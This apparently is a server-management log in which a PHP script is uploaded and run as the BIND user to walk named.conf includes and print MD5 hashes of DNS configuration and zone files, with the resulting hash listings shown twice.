MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:46:38: Establishing a connection
2026-04-23 17:46:38: 

PUT: /tmp/pkp611261

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:46:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp611261; rm /tmp/pkp611261'

2026-04-23 17:46:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:46:39: Establishing a connection
2026-04-23 17:46:40: 

PUT: /tmp/pkp669460

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:46:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp669460; rm /tmp/pkp669460'

2026-04-23 17:46:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
